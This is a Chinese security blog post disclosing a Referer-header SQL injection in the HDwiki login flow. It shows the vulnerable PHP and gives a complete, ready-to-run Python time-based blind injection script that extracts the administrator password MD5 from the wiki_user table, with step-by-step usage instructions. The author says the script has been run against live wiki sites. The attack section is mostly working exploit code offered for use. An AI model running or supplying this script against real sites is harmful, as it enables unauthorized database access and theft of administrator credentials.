HDwiki时间延迟盲注及利用代码

    hdwiki某处对referer未做过滤,造成sql注入
    但因为没有输出点,只能做盲注。
    基于时间的盲注脚本已写好,测试可注入出“光明网百科”等百科网站的管理员密码md5值:

    t01584d474b55919165.jpg

    在文件/model/user.class.php 第41行add_referer函数:

function add_referer(){
		if($_SERVER['HTTP_REFERER']){
			$this->db->query("UPDATE ".DB_TABLEPRE."session SET referer ='".$_SERVER['HTTP_REFERER']."' WHERE sid='".base::hgetcookie('sid')."'", '1');
		}
	}

    直接将$_SERVER[‘HTTP_REFERER’]带入sql语句查询,产生注入。
    在/control/user.php文件第108行,dologin函数中调用了add_referer:

	function dologin(){
		$_ENV['user']->passport_server('login','1');
		if(!isset($this->post['submit'])){
			$this->view->assign('checkcode',isset($this->setting['checkcode'])?$this->setting['checkcode']:0);

			$_ENV['user']->add_referer();

    所以只需要向/index.php?user-login提交POST数据包即可,将注入代码放在REFERER中。
利用思路有三:
  01.因为是UPDATE语句,可以直接修改session表,将用户相关权限修改。但后台权限验证在user表中,所以暂时我没找到可利用的方法。
  02.报错注入。但此处执行函数query中,默认是不显示报错信息的,所以也无法利用。
  03.sql盲注,可写一个基于时间的SQL盲注脚本,跑跑管理员的密码。但缺点很明显,因为受到网速的限制(与一些不可预测因素限制),我在本地测试的盲注是可以注入获得正确md5的,但我注入一些网站的时候注入出的md5可能解不出来,也可能有一些偏差。但不可否认的是可以注入获得管理员md5.
  SQL盲注代码:

  #!/usr/bin/python
  # -*- coding: utf-8 -*-
  __author__ = 'Phtih0n'
  import requests, sys, time
  #####################
  #需要你编辑的变量
  uid = 2 #你注册用户的uid
  url = 'http://localhost/wiki'
  #####################
  
  headers = {
      'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 '
                          '(KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36 LBBROWSER',
      'Cookie': 'hd_sid=aaaaa',
  }
  hex = range(48, 57) + range(97, 103)
  target = '%s/index.php?user-login' % url
  post = {
      'username': 'test',
      'password': 'test',
      'indexlogin': '1'
  }
  passwd = ""
  if __name__ == '__main__':
      for i in range(1, 33):
          clock = []
          for n in hex:
              # requests.get(url, headers = headers)
              headers['Referer'] = "', code=(select if(ord(substring((select password from wiki_user " 
                                   "where uid=1),%d,1))=%d ,sleep(5),0)) where uid=%d#" % (i, n, uid)
              bef = time.clock()
              rep = requests.post(target, data = post, headers = headers, timeout = 2000)
              clock.append(time.clock() - bef)
              if rep.status_code != 200:
                  print "网络错误或该网站并不是hdwiki"
                  sys.exit(0)
  
          # print clock
          pos = clock.index(max(clock))
          passwd += chr(hex[pos])
          print chr(hex[pos])
  print "success: %s" % passwd

    本脚本依赖python的requests库,该库能使python方便地进行http操作,不安装该脚本会出错。官网地址:http://www.python-requests.org/
  使用脚本前首先注册一枚账号,在用户信息页面获得你的uid,填入上方”uid=”处。因为为了不破坏session表中其他用户字段信息,所以在注入的时候写了一个where从句,所以需要一个uid。
  而且,当session表不存在字段时,也是不能update的,所以注册一个用户,该表就至少有一个字段
  当然实际上该盲注是不需要有用户权限的。 
  建议测试的时候先在本地测试,此时网速对延时盲注的影响较小,我测试的时候基本没有出现错误,注入获得的md5都能解出正确明文。

相关推荐: 浏览器安全一 / Chrome XSS Auditor bypass

私藏比较久的干货,严禁转载。 (2017-08-14 更新,chrome57更新了xss auditor的拦截方式,之前的大量payload不能用了) Universal Bypass 5 最新版 Chrome 60 context == null test:…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论